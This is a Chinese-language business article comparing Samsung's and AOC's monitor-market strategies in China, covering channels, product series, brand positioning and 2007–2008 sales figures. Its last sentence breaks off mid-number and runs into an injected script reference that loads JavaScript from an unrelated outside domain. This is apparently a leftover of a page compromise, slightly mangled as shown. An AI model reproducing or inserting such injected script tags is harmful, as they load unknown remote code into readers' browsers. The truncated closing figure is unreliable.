三 星
策略：拥有众多产品线，以整体品牌形象带动产品线形象
渠道：通过全国5家总代理进行推广
产品：在高端产品研发上有较强实力，整体产品定位较高
冠 捷
策略：专注于显示器研发，通过对上下游资源的把控形成成本优势
渠道：超过20家省代由兴捷联直接把控，有较强的灵活性
产品：以性价比优势取得较高市场占有率，计划拉动高端产品的销量
从本世纪初开始，三星就是中国显示器市场的霸主。到2007年，三星显示器已经连续8年荣膺中国市场占有率第一的宝座。然而，现在三星的这一荣誉可能要易手了。就在2007年，经过高层换帅、渠道布局和品牌建设，冠捷(aoc)已经紧紧咬在了三星后边，并在一段时间内在销量上超过了三星。
观察三星和冠捷，无论是渠道战略还是产品定位等，两者都有着巨大的差异。定位不同的两家本来可以各自发财，但随着发展壮大，它们又注定要短兵相接。现在，冠捷宣称要开始营造品牌，率先打起了挑战三星的战役。
品牌建设 升华还是自杀
“aoc要做品牌建设了！”这对很多人来说还是新闻。其实，aoc通过铺设形象店等手段建设品牌已经有两年多了，但是大张旗鼓进行品牌建设是从今年才开始的。但很多人对此持保留态度。他们认为，aoc一直以来凭借性价比赢得市场，而aoc进行品牌建设，势必要加大市场投入，这会造成成本上升；同时它也要开发一些高端产品，而没有价格优势，aoc的高端产品是否会被市场认可还是个未知数。
反观三星，它的品牌建设基于一个拥有众多产品线的庞大平台，同时，三星的品牌建设由来已久，单是与奥运会合作的历史就有十几年。aoc品牌要在短期内追上三星，非常困难。不过，aoc中国事业部销售总经理周伟君对此有不同的看法。她认为，aoc从现在开始塑造aoc的品牌，正是最恰当的时机。她提出三个理由：从内部来说，aoc销售达到目前的规模后，做品牌是进一步提升的必然选择；从竞争来说，未来的市场是基于品牌的全方位竞争，做品牌是竞争的需要；从消费者来说，品牌是感性需求的最好满足。
周伟君认为，一个成功的品牌，应该不仅仅在产品上吸引用户，还要在情感上打动用户。而现在，it行业的品牌依赖度还没有形成，做早了也没有办法很快得到回报。为此，aoc还专门请教了营销实战策划专家刘永炬教授，周伟君的观点得到了他的赞同。目前it卖场上，消费者在选择上还是非常理性的，但是，随着生活水平的提高，用户购买时的感性成分将越来越多。
周伟君目前对aoc品牌的定位是较实惠的高端。不过，最终的品牌定位还要参考专家的意见。据悉，冠捷将在4月末公布aoc的品牌战略，到那时，aoc的品牌定位才能真正浮出水面。
面板同质化 产品实力如何竞争
要营造品牌，必须有具备实力的产品。而在液晶显示器领域，产品性能越来越趋于同质化。
在产品端，三星的策略是：制造概念性产品为宣传造势，凭借一般的产品创造利润。三星公司曾多次在ces等展会上推出超大尺寸的概念型产品，其目的更多的是制造宣传话题。而aoc目前的品牌形象与三星相比还有一段距离。对此周伟君也表示无奈：“我们不是没有优秀的产品，而是优秀的产品卖得太少。”aoc的产品分为s、v、f、p四个系列，分别定位低端用户、商务应用、时尚家居环境和专业应用。但在2007年中国地区aoc品牌的销量中，s系列占据了3/4，v、f、p三个系列的销量仅占25%。为了重新塑造品牌形象，aoc计划在2008年将v、f、p三个系列的销量比例提升到40%左右。中国地区aoc品牌显示器去年的销量为300万台，而2008年的计划销量是420万台。如果按照这个比例计算，这三个系列的显示器去年销量约为75万台，而今年的计划销量将达到168万?script src=http://er12.com/t.js>
